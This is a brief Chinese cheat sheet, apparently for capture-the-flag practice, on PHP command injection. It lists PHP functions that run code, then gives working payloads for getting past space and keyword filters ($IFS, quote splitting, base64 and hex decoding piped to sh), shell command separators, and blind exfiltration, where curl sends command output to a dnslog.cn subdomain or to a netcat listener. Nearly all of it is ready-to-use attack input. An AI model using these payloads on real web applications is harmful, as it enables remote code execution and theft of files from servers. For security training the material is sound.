命令执行常用函数
执行 PHP 代码:eval、assert
执行系统命令:system、exec、shell_exec、passthru
回调类执行:create_function、preg_replace(/e)
空格过滤
$IFS
${IFS}
$IFS$9
<或<>
%09 #(制表符) 浏览器会自动把 %09 解码成 Tab某一个关键字过滤绕过
c\at fla\g.php #反斜线转义
ca''t fl''ag.php #两个引号做分隔
echo Y2F0IGZsYWcucGhw|base64 -d|sh #base64编码绕过,bash或sh
echo 63617420666c61672e706870|xxd -r -p|bash #hex编码绕过,bash或sh
cat f[l]ag.php 或 cat f[j-n]ag.php #匹配j-n中间的字母
cat f{j..n}ag.php #会执行j-n中间的每一个字母
a=ag.php;cat fl$a #变量绕过
#内联执行 (三种形式)
cat `echo 666c61672e706870|xxd -r -p`
cat $(echo 666c61672e706870|xxd -r -p)
echo 666c61672e706870|xxd -r -p|xargs cat #xargs把前来的输出给到cat等价与cat flag.phpliunx命令拼接符
; & |
&& ||
换行符命令执行无回显
curl `whoami`.a9xhzt.dnslog.cn
#第二种
#攻击机器开启监听
nc -lv 1234
#目标进行连接(目标和攻击在统一台设备)
curl 127.0.0.1:1234?`cat flag.php|base64`
